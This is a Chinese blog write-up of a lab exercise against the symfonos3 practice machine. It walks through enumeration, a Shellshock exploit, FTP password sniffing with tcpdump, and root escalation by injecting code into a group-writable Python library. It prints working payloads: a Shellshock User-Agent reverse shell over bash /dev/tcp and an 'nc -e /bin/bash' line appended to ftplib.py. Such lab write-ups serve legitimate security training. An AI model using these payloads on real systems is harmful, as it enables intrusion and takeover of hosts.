从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3

📅 2026/7/24 5:39:47 👁️ 阅读次数 📝 编程学习
从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3

信息搜集

nmap -sT --min-rate 10000 192.168.8.8 -p-

ftp/ssh/web80,经典 的三个端口

nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o ports

ftp的这个版本似乎是有文件复制的漏洞

web渗透

gobuster扫描

先扫了一波敏感文件,只出了一个gate目录

gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

进一步目录扫描,仍然只出了一个目录

gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

dirsearch递归扫描

因为目录一层一层的出来,这边考虑尝试直接用递归扫描

dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive

结果一样仍然只有一个目录

dirb扫描

换个工具再试一下呢

dirb http://192.168.8.8

有不同的结果,扫出了cgi-bin,字典中其实都是包含的,这是为什么呢

┌───────────┬──────────────────────────┬─────────────────────────┐ │ 工具 │ 目录测试方式 │ 能发现 ScriptAlias 目录 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirb │ 自动补 / 测试 │ 能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ gobuster │ 不补 /,依赖服务端 301 │ 不能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirsearch │ 不补 /(默认),依赖 301 │ 不能 │

简单用curl测试一下。不带/就会404了,确实是这个原因

目前得到了一个403的目录,dirb继续扫了一下发现没有结果

这边转头就换了,gobuster,因为它配置大字典扫的更快,

gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

果然有隐藏目录,打开发现似乎是一个脚本,执行了uptime的命令,可以查看时间和服务器状态

kali本机中也有相应的程序

nikto扫描

走到这一步仍然没有特别明晰的思路,于是尝试让nikto做一个web扫描

nikto -h http://192.168.8.8/cgi-bin/underworld

爆了一个cve的漏洞,是shellshock,bash破壳漏洞

() { :; }; echo; /usr/bin/id

burp抓包发送payload

成功命令执行

反弹shell

User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.8.11/4444 0>&1'

linpeas提权靶机敏感信息

因为没有找到太多有用的信息,这边先用linpeas提权一下关键信息

发现靶机有抓包工具tcpdump

流量包抓取分析

因为ftp是明文传输,而靶机上面正好也有tcpdump抓包的环境,所以这边进行抓包分析

对外的网卡是ens33

tcpdump -i ens33 -w ftp.pcap -c 10000 #这边可以指定数据包数量,防止需要中断抓包导致反弹shell断联

ens33网卡数据包没有关于ftp的数据,ftp可能是内部lo网卡通信

tcp.port == 21

tcpdump -i lo -w ftp.pcap

泄露了密码账号密码hades/PTpZTfU4vxgzvRBE

成功登录hades 的ftp

提权

凭证复用

这边直接尝试用刚才的凭证登录ssh,也是直接成功登录

因为抓包的时候发现ftp一直在内部通信,所以尝试先找一下这个程序运行的位置

find / -name ftp* 2>/dev/null

找到这个ftp,应该是定期做服务的状态监测

它导入了一个ftplib的

组权限提权

执行id命令的时候发现,hades有gods的组权限

查找有1002组权限的文件、文件夹

find / -name ftp -group 1002 -type f 2>/dev/null

find / -group 1002 -type d 2>/dev/null

发现1002拥有整个python2.7库的组权限
这时候再查找一下ftplib的权限

ls -liah ftplib*

确实是有gods的组权限

那就简单了直接再fptlib.py尾部追加payload

import os os.system("nc -e /bin/bash 192.168.8.11 4444")

同步开启反弹shell接收,等待片刻

成功提权

小结一下

靶机的难度是中级到hard之间,打下来感觉还是有难度的。从一开始的目录枚举,就有很多坑要踩,不同的目录扫描工具扫描策略其实是有侧重的,dirb会对目录和文件双重扫描,gobuster扫的更快等等;然后就是nikto针对web指纹的扫描还是比较好用的,也是识别到了bash破壳漏洞;linpeas作为linux后渗透工具也是经常会用到,这个算是常规思路;tcpdump流量包抓取ftp流量,也是要mark的,因为ftp它是明文传输,只要能抓包就能拿到账号密码;最后的组权限提权,也是一个非常经典的案例,通过在组权限的python库文件注入payload,拿到root